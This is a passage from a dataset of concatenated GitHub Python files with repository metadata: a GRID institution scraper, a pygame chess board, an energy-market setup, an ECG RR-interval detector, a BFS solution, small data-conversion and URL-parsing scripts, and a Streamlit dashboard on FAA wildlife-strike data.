a[4])\n\n# call upon the ancient lords of the underworld\n# remember the term \"topological sort\" and \"directed acyclic graph\"\nnx.draw_graphviz(G)\n# plt.savefig('matplotlib.png')\nnx.write_dot(G,args[\"dot\"])\n","repo_name":"jamesrwaugh/DCS-Synthesis-Project","sub_path":"aif/parse_audi.py","file_name":"parse_audi.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29868979902","text":"# -*- coding: utf-8 -*-\nimport datetime\nimport zipfile\nimport json\nimport io\n\nimport scrapy\n\nfrom .base_scraper import BaseScraper\nfrom ..items import Organisation, Source\n\n\n# Scrape from Global Research Identifiers Database\nclass GridSpider(BaseScraper):\n    name = 'grid'\n    allowed_domains = ['grid.ac', 'doi.org', 'figshare.com']\n    start_urls = [\n        \"https://www.grid.ac/downloads\"\n    ]\n    org_id_prefix = \"XI-GRID\"\n    id_field = \"id\"\n    source = {\n        \"title\": \"Global Research Identifiers Database\",\n        \"description\": '''The Global Research Identifiers Database collects information on research institutions and assigns them a unique identifier.\n\nIt draws on information from funding datasets, and claims over 90% coverage of institutions.\n\nIt records information on the nature of the research organisation, covering companies, education establishments, healthcare, non-profits, government and other entity types.\n\nGRID also records parent-child relationships between entities, and 'related relationships' for cross-linkages.\n\nIt includes cross-linkages to a range of other identifier sources.''',\n        \"identifier\": \"grid\",\n        \"license\": \"https://creativecommons.org/publicdomain/zero/1.0/\",\n        \"license_name\": \"Creative Commons Public Domain 1.0 International licence\",\n        \"issued\": \"\",\n        \"modified\": \"\",\n        \"publisher\": {\n            \"name\": \"Digital Science\",\n            \"website\": \"http://www.digital-science.com/\",\n        },\n        \"distribution\": [\n            {\n                \"downloadURL\": \"\",\n                \"accessURL\": \"https://www.grid.ac/downloads\",\n                \"title\": \"GRID Download\"\n            }\n        ],\n    }\n    included_countries = ['GB']\n\n    def start_requests(self):\n\n        return [scrapy.Request(self.start_urls[0], callback=self.find_zip)]\n\n    def find_zip(self, response):\n        link = response.xpath('//a[text()=\"Download latest release\"]/@href').extract_first()\n\n        self.source[\"distribution\"][0][\"accessURL\"] = self.start_urls[0]\n        self.source[\"distribution\"][0][\"downloadURL\"] = link\n        self.source[\"modified\"] = datetime.datetime.now().isoformat()\n        \n        return [scrapy.Request(response.urljoin(link), callback=self.fetch_zip)]\n\n    def fetch_zip(self, response):\n        link = response.xpath('//a[text()=\"Download\"]/@href').extract_first()\n        \n        return [scrapy.Request(response.urljoin(link), callback=self.process_zip)]\n        \n    def process_zip(self, response):\n        yield Source(**self.source)\n        with zipfile.ZipFile(io.BytesIO(response.body)) as z:\n            with z.open(\"grid.json\") as gridjson:\n                data = json.load(gridjson)\n                rowcount = 0\n                for k, i in enumerate(data.get(\"institutes\", [])):\n                    if self.settings.getbool(\"DEBUG_ENABLED\") and rowcount >= self.settings.getint(\"DEBUG_ROWS\", 100):\n                        break\n\n                    # We only want data from certain countries\n                    if i.get(\"addresses\", [{}])[0].get(\"country_code\") not in self.included_countries:\n                        continue\n\n                    # And we only want certain types of organisation (eg exclude private companies)\n                    if \"Company\" in i.get(\"types\", []):\n                        continue\n\n                    rowcount += 1\n\n                    yield self.parse_row(i)\n\n    def parse_row(self, record):\n\n        record = self.clean_fields(record)\n\n        address = []\n        for a in [\"line_1\", \"line_2\", \"line_3\"]:\n            an = record.get(\"addresses\", [{}])[0].get(a)\n            if an and an != \"\":\n                address.append(an)\n\n        url = record.get(\"links\")[0] if record.get(\"links\") else None\n\n        parent = None\n        for r in record.get(\"relationships\", [{}]):\n            if r.get(\"type\")==\"Parent\":\n                parent = self.org_id_prefix + \"-\" + r.get(\"id\")\n\n        org = Organisation(**{\n            \"id\": self.get_org_id(record),\n            \"name\": record.get(\"name\"),\n            \"charityNumber\": None,\n            \"companyNumber\": None,\n            \"streetAddress\": \", \".join(address),\n            \"addressLocality\": record.get(\"addresses\", [{}])[0].get(\"city\"),\n            \"addressRegion\": record.get(\"addresses\", [{}])[0].get(\"state\"),\n            \"addressCountry\": record.get(\"addresses\", [{}])[0].get(\"country\"),\n            \"postalCode\": record.get(\"addresses\", [{}])[0].get(\"postcode\"),\n            \"telephone\": None,\n            \"alternateName\": record.get(\"aliases\", []) + record.get(\"acronyms\", []),\n            \"email\": record.get(\"email_address\"),\n            \"description\": None,\n            \"organisationType\": record.get(\"types\", []),\n            \"organisationTypePrimary\": record.get(\"types\", [])[0] if record.get(\"types\", []) else \"Education\",\n            \"url\": url,\n            \"location\": [],\n            \"latestIncome\": None,\n            \"dateModified\": datetime.datetime.now(),\n            \"dateRegistered\": None,\n            \"dateRemoved\": None,\n            \"active\": record.get(\"status\") == \"active\",\n            \"parent\": parent,\n            \"orgIDs\": [self.get_org_id(record)] + self.get_org_ids(record.get(\"external_ids\", {})),\n            \"source\": self.source[\"identifier\"],\n        })\n\n        return org\n\n    def get_org_ids(self, record):\n        orgids = []\n\n        for scheme, value in record.items():\n            if scheme == 'UKPRN':\n                orgids.extend([\"GB-UKPRN-{}\".format(v) for v in value[\"all\"]])\n            elif scheme == 'HESA':\n                orgids.extend([\"GB-HESA-{}\".format(v) for v in value[\"all\"]])\n            elif scheme == 'UCAS':\n                orgids.extend([\"GB-UCAS-{}\".format(v) for v in value[\"all\"]])\n\n        return orgids\n","repo_name":"drkane/find-that-charity-scrapers","sub_path":"findthatcharity_import/spiders/grid.py","file_name":"grid.py","file_ext":"py","file_size_in_byte":5789,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"43149235711","text":"import pygame\nimport color\nimport fenetre\nfrom structure import damier\nfrom structure import curseur\nfrom pion import pion\n\npygame.init() \n\n# x et y doivent être égaux pour former un carré \nfenetre_x = 800 #Largeur de la fenêtre\nfenetre_y = 800 #Longueur de la fenêtre\n\nfen = fenetre.taille_echecs(fenetre_x, fenetre_y) # fonction pour créer la fenetre\n\nechecs = True # Initialisation de la boucle principale:\nclock = pygame.time.Clock() # initialisation des FPS\n\ndamier = damier.Plateau() # appelle de la classe pour le damier\ncurseur = curseur.Selecteur(fenetre_x,fenetre_y) # appelle de la classe pour le selecteur\npiece = pion.Piece(fenetre_x,fenetre_y,fen)\n\n\nwhile echecs == True:\n\n    curseur.input()\n    damier.damier(color.bleu(), color.blanc(),fenetre_x, fenetre_y, fen)\n    curseur.selecteur(color.marron(), fen)\n    piece.cavalier()\n    piece.tour()\n    piece.reine()\n    piece.roi()\n    piece.fou()\n    piece.pion()\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n             echecs = False # Arret de la boucle principale et donc ferneture du jeu\n\n    # Flip the display\n    pygame.display.flip()\n    clock.tick(10)\n\npygame.quit() # arrete le programme","repo_name":"olycanthe/echecs","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74235933767","text":"# pylint: disable=missing-docstring\nimport os\nimport platform\n\nfrom gsy_framework.constants_limits import ConstSettings\n\nfrom gsy_e.models.area import Market, Asset\nfrom gsy_e.models.strategy.external_strategies.load import LoadHoursForecastExternalStrategy\nfrom gsy_e.models.strategy.external_strategies.pv import PVForecastExternalStrategy\nfrom gsy_e.models.strategy.load_hours import LoadHoursStrategy\nfrom gsy_e.models.strategy.storage import StorageStrategy\n\ncurrent_dir = os.path.dirname(__file__)\nprint(current_dir)\nprint(platform.python_implementation())\n\n\ndef get_setup(config):\n    ConstSettings.GeneralSettings.DEFAULT_UPDATE_INTERVAL = 1\n    ConstSettings.MASettings.MARKET_TYPE = 2\n    ConstSettings.GeneralSettings.DEFAULT_MARKET_MAKER_RATE = 22\n\n    ConstSettings.SettlementMarketSettings.ENABLE_SETTLEMENT_MARKETS = True\n    ConstSettings.SettlementMarketSettings.MAX_AGE_SETTLEMENT_MARKET_HOURS = 4\n\n    market = Market(\n        \"Grid\",\n        [\n            Market(\n                \"House 1\",\n                [\n                    Asset(\"H1 General Load\", strategy=LoadHoursStrategy(avg_power_W=200,\n                                                                        hrs_per_day=6,\n                                                                        hrs_of_day=list(\n                                                                            range(12, 18)),\n                                                                        final_buying_rate=35)\n                          ),\n                    Asset(\"H1 Storage1\", strategy=StorageStrategy(initial_soc=100,\n                                                                  battery_capacity_kWh=20)\n                          ),\n                    Asset(\"H1 Storage2\", strategy=StorageStrategy(initial_soc=100,\n                                                                  battery_capacity_kWh=20)\n                          ),\n                ],\n            ),\n            Market(\n                \"House 2\",\n                [\n                    Asset(\"forecast-measurement-pv\",\n                          strategy=PVForecastExternalStrategy(\n                              panel_count=5, initial_selling_rate=30,\n                              final_selling_rate=11, fit_to_limit=True)\n                          ),\n                    Asset(\"forecast-measurement-load\",\n                          strategy=LoadHoursForecastExternalStrategy(\n                              final_buying_rate=35, initial_buying_rate=11,\n                              use_market_maker_rate=True)\n                          ),\n\n                ], external_connection_available=True,\n            ),\n            Market(\"Community Load\", strategy=LoadHoursStrategy(avg_power_W=100,\n                                                                hrs_per_day=24,\n                                                                hrs_of_day=list(range(0, 24)),\n                                                                final_buying_rate=35)\n                   ),\n        ],\n        config=config\n    )\n    return market\n","repo_name":"gridsingularity/gsy-e","sub_path":"src/gsy_e/setup/strategy_tests/external_devices_settlement_market.py","file_name":"external_devices_settlement_market.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"16"}
+{"seq_id":"14803947130","text":"import collections\nimport os\nimport sys\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.signal import find_peaks\n\nfrom pynd import SQLiteTrip\n\n# Append pynd folder to the path\nsys.path.append(os.path.abspath(os.path.join(os.getcwd(), os.pardir, os.pardir, os.pardir)))\n\n\nclass RRIntervalRealTime:\n    def __init__(self):\n        self.biofeedbackType = 'Real'\n        self.biofeedbackRatio = 1.1\n        self.nValuesAvg = 1\n        self.windowSize = 800\n        self.idxBuffer = 1\n        self.subStep = 32\n        self.currentTC = 0\n        self.ecgValue = []\n        self.ecgValues = collections.deque(maxlen=self.windowSize)\n        self.newPeakTC = 0\n        self.lastPeakTC = 0\n        self.newPeakValue = []\n        self.peakValueChanged = 0\n        self.peakTCs = []\n        self.peakValues = []\n        self.peakTCsPredict = []\n        self.peakTCsPredictDec = []\n        self.peakTCsPredictDecCorrelated = []\n        self.peakTCsPredictInc = []\n        self.peakTCsPredictIncCorrelated = []\n        self.peakTCPredictDiff = []\n        self.stim = []\n        self.stimCount = 0\n        self.stimCountDec = 0\n        self.lastStimCountDec = 0\n        self.stimCountDecCorrelated = 0\n        self.stimCountInc = 0\n        self.lastStimCountInc = 0\n        self.stimCountIncCorrelated = 0\n        self.enforcedPeakCount = 0\n        self.errorCount = 0\n        self.RRIntervals = []\n        self.RRIntervalsAvg = []\n        self.bpm = []\n        self.correction_threshold = 1.5\n        # Find peaks parameters\n        self.peakDistance = 500  # Minimal distance between two peaks\n        self.peakProm = 1.0  # Minimal prominence of a peak\n        self.peakWidth = [10, 50]   # Minimal and maximal width of a peak\n        self.peakWLen = self.windowSize   # Maximum window size on which to search for peaks\n        self.peakPlatSize = [1, 2]  # Minimal and maximal plateau size of a peak\n\n    def core(self):\n        # Inputs\n        self.ecgValues.append(self.ecgValue[0])\n\n        # Initialize variables\n        biofeedback_cond = False\n        self.peakValueChanged = 0\n        self.stim.append(0)\n\n        # Correction step\n        if self.RRIntervals and \\\n                np.diff([self.peakTCs[-1], self.currentTC]) > self.correction_threshold * self.RRIntervals[-1]:\n            self.newPeakValue = self.peakValues[-1]\n            self.newPeakTC = self.peakTCs[-1] + self.RRIntervals[-1]\n\n        # Find peaks step\n        if np.mod(self.currentTC, self.windowSize / self.subStep) == 0 and self.currentTC >= self.windowSize:\n            ecg_values = list(self.ecgValues)\n            peak_tc, _ = find_peaks(ecg_values, distance=self.peakDistance, prominence=self.peakProm,\n                                    width=self.peakWidth, wlen=self.peakWLen, plateau_size=self.peakPlatSize)\n            if peak_tc.size >= 1:\n                self.newPeakTC = int(peak_tc[0] + (self.idxBuffer - 1) * self.windowSize / self.subStep)\n                self.newPeakValue = ecg_values[int(peak_tc[0])]\n\n            if self.lastPeakTC == 0 or \\\n                    (self.newPeakTC != self.lastPeakTC and self.newPeakTC - self.lastPeakTC > self.peakDistance):\n                self.peakValueChanged = 1\n                self.peakTCs.append(self.newPeakTC)\n                self.peakValues.append(self.newPeakValue)\n\n                if len(self.peakTCs) > 1:\n                    self.RRIntervals.append(np.diff([self.peakTCs[-2], self.peakTCs[-1]]))\n                    if self.peakTCsPredict:\n                        self.peakTCPredictDiff.append(np.diff([self.peakTCs[-1], self.peakTCsPredict[-1]]))\n                        if self.peakTCPredictDiff[-1] > 200:\n                            self.errorCount += 1\n                            print('Error count = ' + str(self.errorCount))\n\n                self.lastPeakTC = self.newPeakTC\n\n            self.idxBuffer = self.idxBuffer + 1\n\n        if self.RRIntervals and self.peakValueChanged:\n            self.peakTCsPredict.append(self.peakTCs[-1] + self.RRIntervals[-1])\n            self.peakTCsPredictDec.append(int(int(self.peakTCsPredict[-1]) * self.biofeedbackRatio))\n            self.peakTCsPredictInc.append(int(int(self.peakTCsPredict[-1]) / self.biofeedbackRatio))\n            self.bpm.append(60000 / self.RRIntervals[-1])\n\n        # Biofeedback condition\n        if self.biofeedbackType == 'Real' and len(self.peakTCsPredict) >= self.stimCount + 1:\n            biofeedback_cond = self.currentTC == self.peakTCsPredict[self.stimCount]\n        elif self.biofeedbackType == 'Decreased' and len(self.peakTCsPredictDec) >= self.stimCount + 1:\n            biofeedback_cond = self.currentTC == self.peakTCsPredictDec[self.stimCount]\n        elif self.biofeedbackType == 'Increased' and len(self.peakTCsPredictInc) >= self.stimCount + 1:\n            biofeedback_cond = self.currentTC == self.peakTCsPredictInc[-1]\n\n        if biofeedback_cond:\n            self.stim.append(1)\n            self.stimCount += 1\n\n        self.currentTC += 1\n\n        return self.peakValueChanged, self.peakTCs, self.peakValues, self.RRIntervals, self.bpm, \\\n               self.stim, self.stimCount, self.errorCount\n\n    def stimulus_sender(self):\n        # Biofeedback 'Real'\n        if len(self.peakTCsPredict) >= self.stimCount + 1 \\\n                and self.currentTC == self.peakTCsPredict[self.stimCount]:\n            self.stimCount += 1\n            if self.biofeedbackType == 0:\n                self.stim = 1\n        # Biofeedback 'Decreased'\n        if len(self.peakTCsPredictDec) >= self.stimCountDec + 1 \\\n                and self.currentTC == self.peakTCsPredictDec[self.stimCountDec]:\n            self.stimCountDec += 1\n            if self.biofeedbackType == 1:\n                self.stim = 1\n                if len(self.peakTCsPredictDec) >= 2:\n                    print('RRInterval = ' + str(int(self.RRIntervals[-1])) +\n                          ' | peakTCsPredictDecDiff = ' + str(self.peakTCsPredictDec[-1] - self.peakTCsPredictDec[-2]))\n        # Biofeedback 'Decreased Correlated'\n        if len(self.peakTCsPredictDecCorrelated) >= self.stimCountDecCorrelated + 1 \\\n                and self.currentTC == self.peakTCsPredictDecCorrelated[self.stimCountDecCorrelated]:\n            self.stimCountDecCorrelated += 1\n            if self.biofeedbackType == 2:\n                self.stim = 1\n        # Biofeedback 'Increased'\n        if len(self.peakTCsPredictInc) >= self.stimCountInc + 1 \\\n                and self.currentTC == self.peakTCsPredictInc[self.stimCountInc]:\n            self.stimCountInc += 1\n            if self.biofeedbackType == 3:\n                self.stim = 1\n                if len(self.peakTCsPredictInc) >= 2:\n                    print('RRInterval = ' + str(int(self.RRIntervals[-1])) +\n                          ' | peakTCsPredictIncDiff = ' + str(self.peakTCsPredictInc[-1] - self.peakTCsPredictInc[-2]))\n        # Biofeedback 'Increased Correlated'\n        if len(self.peakTCsPredictIncCorrelated) >= self.stimCountIncCorrelated + 1 \\\n                and self.currentTC == self.peakTCsPredictIncCorrelated[self.stimCountIncCorrelated]:\n            self.stimCountIncCorrelated += 1\n            if self.biofeedbackType == 4:\n                self.stim = 1\n\n    def RRInt_averager(self):\n        rr_intervals_avg = []\n        for idx in range(self.nValuesAvg, -1, -1):\n            if len(self.RRIntervals) >= idx:\n                rr_intervals_avg = int(np.mean(self.RRIntervals[-idx:]))\n                break\n        return rr_intervals_avg\n\n    def test_ecg(self):\n\n        # Load data\n        trip_path = '//vrlescot/MADISON/DATA2/Passation_08/rtmaps/Test/' \\\n                   '20190513_161348_RecFile_REC/RecFile_REC_20190513_161348.trip'\n        with SQLiteTrip(trip_path, 0.04, False) as trip:\n            ecg_values = trip.get_all_data_occurences('Biopac_MP150').get_variables_values('ecg')\n            ecg_values = list(ecg_values)\n\n            # Loop on data\n            for currentTC, self.ecgValue in enumerate(ecg_values):\n                RRIntervalRealTime.core(self)\n\n                # Display indicators\n                if self.RRIntervals and self.peakValueChanged == 1:\n                    print(\"Current TC : \" + str(currentTC) +\n                          \" | RR interval : \" + str(int(self.RRIntervals[-1])) +\n                          \" | bpm : \" + str(float(self.bpm[-1])) +\n                          \" | nombre de stim = \" + str(self.stimCount) +\n                          \" | nombre d'erreurs = \" + str(self.errorCount))\n\n                # Plot results\n                if np.mod(self.stimCount, 200) == 0 and self.stimCount > 1:\n                    fig, axs = plt.subplots(2, 1)\n                    axs[0].plot(ecg_values[0:currentTC])\n                    axs[0].plot(self.stim)\n                    axs[0].plot(self.peakTCs, self.peakValues, 'rv')\n                    axs[0].grid(True)\n                    axs[1].step(self.peakTCs[0:-1], [x / 10 for x in self.RRIntervals], 'g')\n                    axs[1].step(self.peakTCs[0:-1], self.bpm, 'm')\n                    axs[1].grid(True)\n                    plt.show()\n                    plt.close('all')\n\n\ndef main():\n    RRIntervalRealTime().test_ecg()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Anais-Hoarau/BING_GUI_Plugins","sub_path":"pynd/scripts/Thèse_Adolphe/pyRRIntervalsRealTime.py","file_name":"pyRRIntervalsRealTime.py","file_ext":"py","file_size_in_byte":9233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11150160391","text":"from collections import deque\n\n\nm, n, k = map(int, input().split())\npaper = [[0 for _ in range(n)] for _ in range(m)]\nfor _ in range(k):\n    # 사각형 마킹\n    x1, y1, x2, y2 = map(int, input().split())\n    for i in range(y1, y2):\n        for j in range(x1, x2):\n            paper[i][j] = 1\n\n# bfs\ncount = 0\nsize = []\ndx = [1, -1, 0, 0]\ndy = [0,0,1,-1]\nfor i in range(m):\n    for j in range(n):\n        if paper[i][j] == 0:\n            q = deque()\n            q.append([i,j])\n            paper[i][j] = 1\n            thisSize = 1\n            count += 1\n            while q:\n                x, y = q.popleft()\n                for k in range(4):\n                    newX = x+dx[k]\n                    newY = y+dy[k]\n                    if 0<=newX<m and 0<=newY<n and paper[newX][newY] == 0:\n                        q.append([newX, newY])\n                        thisSize += 1\n                        paper[newX][newY] = 1\n            size.append(thisSize)\n\nsize.sort()\nprint(count)\nprint(*size)\n","repo_name":"twinklesu/algorithm_py","sub_path":"2583.py","file_name":"2583.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5326592929","text":"import json\nimport re\n\ntext_file_right = open(\"testDataArduino/accel1.txt\", \"r\")\nlines_right = text_file_right.readlines()\n\ntext_file_left = open(\"testDataArduino/accel2.txt\", \"r\")\nlines_left = text_file_left.readlines()\n\n# for i in range(len(lines_right)):\n#     lines_right[i] = lines_right[i].strip()\n\n# for i in range(len(lines_left)):\n#     lines_left[i] = lines_left[i].strip()\n    \n# print(len(lines))\noutput_format = {}\noutput_format[\"data\"] = {}\n\n\nleftPhone = []\nrightPhone = []\n\n# first data entry is at line 6\nfor i in range(5, len(lines_right)):\n    # print(i)\n    pattern = \"^X: (.*?), Y: (.*?), Z: (.*?) \"\n    re_left = re.search(pattern, lines_left[i])\n    re_right = re.search(pattern, lines_right[i])\n    if not re_left: break\n    leftPhone.append([0, re_left.group(1), re_left.group(2), re_left.group(3)])\n    rightPhone.append([0, re_right.group(1), re_right.group(2), re_right.group(3)])\n\noutput_format[\"data\"][\"leftPhone\"] = json.dumps(leftPhone)\noutput_format[\"data\"][\"rightPhone\"] = json.dumps(rightPhone)\nprint(output_format)\n\nout_file = open(\"testDataArduino/hw1hw2.json\", \"w\")\njson.dump(output_format, out_file)","repo_name":"dereklowlind/symon","sub_path":"data processing/convertArduino.py","file_name":"convertArduino.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14009797076","text":"import re\n\ngoogle_url = \"q=Cat+and+dog&ie=utf-8&oe=utf-8&aq=t\"\nrozetka_url = \"kolichestvo-osnovnih-kamer=3630921;producer=xiaomi;23777=6-6-5;38435=677049\"\n\n\ndef get_object_parameters(query, pattern=\"&|;\", key_split=\"=\"):\n    object_search = {}\n    for el in re.split(pattern, query):\n        key, value = el.split(key_split)\n        object_search.update({key: value.replace(\"+\", \" \")})\n    return object_search\n\n\nprint(get_object_parameters(google_url))\nprint(get_object_parameters(rozetka_url))\n","repo_name":"Krabaton/PythonOn3_code","sub_path":"module0502/parse_url.py","file_name":"parse_url.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"15409016900","text":"import streamlit as st\nimport altair as alt\nimport pandas as pd\nimport seaborn as sns\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom utilities import preprocess_text_fields, remapping_function\nfrom utilities import altair_jointplot_speed_and_height, get_correlation_graph\nfrom collections import Counter\nst.set_page_config(layout=\"wide\")\n\n# Title and subtitle\nst.write(\"\"\"\n# Aircraft Wildlife Strikes Data\n#### Analyzing the hidden aspects of the wildlife strikes data actively maintained by FAA\n\"\"\")\n\ntry:\n    df = pd.read_csv('data/main_data.csv')\n    print('df loading successful')\nexcept:\n    print('Something went wrong in loading data.')\n\n# add introduction about the data \nst.write(\"\"\"\n### Introduction\n- The FAA Wildlife Strike Database contains records of reported wildlife strikes since 1990. Since the strike reporting is voluntary, this database only represents the information FAA \nhas received from airlines, airports, pilots, and other sources. \n- There is an observed increase in the wildlife strikes on planes from 1990 to 2022. As a result, there has been greater emphasis on wildlife strike hazard research and airfield wildlife management.\n- This application is a window to diving deeper into the data and understanding the economical aspects related to it. \n- The dataset can be found at [FAA Wildlife strikes Data](https://wildlife.faa.gov/home).\n\"\"\")\n\n# ADD SEPARATOR\n\n# some required preprocessing\ndf = preprocess_text_fields(df)\ndf = remapping_function(df)\ncolumns_to_remove = [\n    'NR_FATALITIES', 'NR_INJURIES', 'EFFECT_OTHER',  'LOCATION', \n    'ENG_1_POS', 'ENG_2_POS', 'ENG_3_POS', 'ENG_4_POS', 'LATITUDE', 'LONGITUDE', \n    # 'STR_RAD', 'DAM_RAD', 'STR_WINDSHLD', 'DAM_WINDSHLD', 'STR_NOSE', 'DAM_NOSE', 'STR_ENG1', 'DAM_ENG1', 'STR_ENG2', \n    # 'DAM_ENG2', 'STR_ENG3', 'DAM_ENG3', 'STR_ENG4', 'DAM_ENG4', 'STR_PROP', 'DAM_PROP', 'STR_WING_ROT', 'DAM_WING_ROT', \n    # 'STR_FUSE', 'DAM_FUSE', 'STR_LG', 'DAM_LG', 'STR_TAIL', 'DAM_TAIL', 'STR_LGHTS', 'DAM_LGHTS', 'STR_OTHER', 'DAM_OTHER',\n]\ndf = df[[c for c in list(df.columns) if c not in columns_to_remove]]\ndf['INCIDENT_YEAR'] = pd.to_datetime(df[\"INCIDENT_YEAR\"], format='%Y')\n\n# showing of data and graphs and df.head\n#   adding 4 tabs with total, small, medium and high damage and df.head\nst.write(\n    '''\n    ##### Introduction Graphs and Dataframe\n    '''\n)\nint_tab_1, int_tab_2, int_tab_3, int_tab_4, int_tab_5 = st.tabs(\n    [\n        'Total Strikes', 'Strikes with Small Birds',\n        'Strikes with Medium or Large Birds',\n        'Dataframe',\n        'Initial Preprocessing Steps'\n    ]\n)\nwith int_tab_1:\n    st.write('##### Total number of Wildlife Strikes through the years')\n    temp_df = df.groupby(\n        'INCIDENT_YEAR'\n    )['INCIDENT_YEAR'].agg('count').to_frame('counts').reset_index()\n    # plotting\n    chart_1 = alt.Chart(temp_df).mark_line().encode(\n        alt.X('INCIDENT_YEAR', axis=alt.Axis(format='%Y')),\n        # x='INCIDENT_YEAR',\n        alt.Y('counts'),\n    )\n    st.altair_chart(chart_1, use_container_width=True)\n\nwith int_tab_2:\n    st.write('##### Total number of Strikes with small species through the years')\n    temp_df = df[df.SIZE == 'Small'].groupby(\n        'INCIDENT_YEAR'\n    )['INCIDENT_YEAR'].agg('count').to_frame('counts').reset_index()\n    # plotting\n    chart_2 = alt.Chart(temp_df).mark_line().encode(\n        alt.X('INCIDENT_YEAR', axis=alt.Axis(format='%Y')),\n        # x='INCIDENT_YEAR',\n        alt.Y('counts'),\n    )\n    st.altair_chart(chart_2, use_container_width=True)\n\nwith int_tab_3:\n    st.write('##### Total number of Strikes with medium and large species throughthe years')\n    temp_df = df[df.SIZE.isin(['Medium', 'Large'])].groupby(\n        'INCIDENT_YEAR'\n    )['INCIDENT_YEAR'].agg('count').to_frame('counts').reset_index()\n    # plotting\n    chart_3 = alt.Chart(temp_df).mark_line().encode(\n        alt.X('INCIDENT_YEAR', axis=alt.Axis(format='%Y')),\n        # x='INCIDENT_YEAR',\n        alt.Y('counts'),\n    )\n    st.altair_chart(chart_3, use_container_width=True)\n\nwith int_tab_4:\n    st.header('Dataset Display')\n    num_rows_to_see = st.number_input(\n        'Insert a number of rows you want to see:',\n        min_value=1, max_value=100, value= 10\n    )\n    temp_df = df.sample(num_rows_to_see)\n    st.dataframe(temp_df)\n\nwith int_tab_5:\n    st.header('Initial Preprocessing Steps :')\n    st.write(\n        '''\n        1) Preprocessing text fields and converting empty strings to None values after going through the\n            field information.\n        2) Remapping classes of ordinal and nominal variables.\n        3) Converting fields to a particular datatype instead of object dataype.\n        4) Normalizing null values all across the dataframe as 'None' has a different meaning in some of the columns.\n        '''\n    )\n\n# show the missing value heatmap \nst.write(\n    '''\n    #### HeatMap for assessing missingness type.\n    Info : Since data is too big showing map on randomly sampled 50k subset.\n    '''\n)\nm_df = df.sample(50000)\nmissing_value_heatmap = plt.figure(figsize=(20,20))\nsns.heatmap(m_df.isna().transpose(), cmap=\"viridis\")\nst.pyplot(missing_value_heatmap)\n# and mention the missing type \nst.write(\n    '''\n    ##### Observations :\n    1) Cost related fields have a lot of Null values\n    2) NUM_SEEN, WARNED, EFFECT also have fairly high number of Null values.\n    3) Missingness type is Missingness at Random, as most of the values can be inferred from other fields using rules.\n    4) Since this data is self reported we can expect that sometimes even the person who is filling up the form may not know every detail and leave blanks.\n    - Some suggestions are provided to fill the missing values.\n        1) Filling up time of day using local time\n        2) Finding missing states used latitude and longitude and FAA region\n        3) Finding Cost through indicated damage and which part of plane is struck conditioned on Aircraft type\n    '''\n)\n\n# subsetting the data by taking values from the user\nst.write(\n    '''\n    #### Please select the Range for years you are interested in :\n    '''\n)\nyear_range_values = st.slider(\n    '',\n    1990, 2022, (2000, 2010), label_visibility='hidden'\n)\n# ADD SEPARATOR\n\ndf = df[\n    (df['INCIDENT_YEAR'] >= pd.to_datetime(year_range_values[0], format='%Y')) & \n    (df['INCIDENT_YEAR'] <= pd.to_datetime(year_range_values[1], format='%Y'))\n]\nprint('dataframe shape after subsetting for year is : {}'.format(df.shape))\n\n\n# asking the user about the time of day he/she is in interested in\nst.write(\n    '''\n    #### What time of day are you interested in:\n    '''\n)\noptions_time_of_day = st.multiselect(\n    '',\n    ['Day', 'Night', 'Dusk', 'Dawn'],\n    ['Day', 'Night', 'Dusk', 'Dawn']\n)\n# ADD SEPARATOR\n\ndf = df[df['TIME_OF_DAY'].isin(options_time_of_day)]\nprint('dataframe shape after subsetting for time of day is : {}'.format(df.shape))\n\n\nst.write(\n    '''\n    #### Which analysis would you like to explore,\n    '''\n)\nanalysis_1 = st.radio(\n    \"Which analysis would you like to explore\",\n    ('None', 'Airport', 'Phase of Flight'), label_visibility='hidden',\n    horizontal=True\n)\n\nif analysis_1 == 'Airport':\n    # Dive into Airport Analysis\n    st.write(\n        '''\n        #### Airport Analysis of 100 Airports with most Strikes\n        '''\n    )\n    air_tab_1, air_tab_2, air_tab_3, air_tab_4, air_tab_5, air_tab_6, air_tab_7 = st.tabs(\n        [\n            'Number of Strikes during the period selected:', \n            'Number of Strikes with distinction in Damage Level',\n            'Number of Strikes with Minor or Substantial Damage',\n            'Damage Level Trends', 'Greatest Cost of Repairs for Airports',\n            'Greatest Cost of Repairs for Operators',\n            'Cost Incurred due to Strikes over the years'\n        ]\n    )\n\n    # selecting 100 most count airports\n    hundred_most_ws_airports = [\n        i[0] for i in Counter(df[df.AIRPORT != 'UNKNOWN'].AIRPORT.to_list()).most_common(100)\n    ]\n    with air_tab_1:\n        st.write('#### Number of Strikes at top 100 Airports')\n        chart_5 = alt.Chart(df[df.AIRPORT.isin(hundred_most_ws_airports)]).mark_bar(size=10).encode(\n            x='AIRPORT:N',\n            y='count()',\n            # column='DAMAGE_LEVEL:N',\n        ).properties(\n            width=1500,\n            height=500\n        )\n        st.altair_chart(chart_5, use_container_width=True)\n\n\n    with air_tab_2:\n        st.write('#### Number of Strikes at top 100 Airports with Damage Level')\n        chart_6 = alt.Chart(df[df.AIRPORT.isin(hundred_most_ws_airports)]).mark_bar(size=10).encode(\n            x='AIRPORT:N',\n            y='count()',\n            color='DAMAGE_LEVEL:N',\n        ).properties(\n            width=1500,\n            height=500\n        )\n        st.altair_chart(chart_6, use_container_width=True)\n\n\n    with 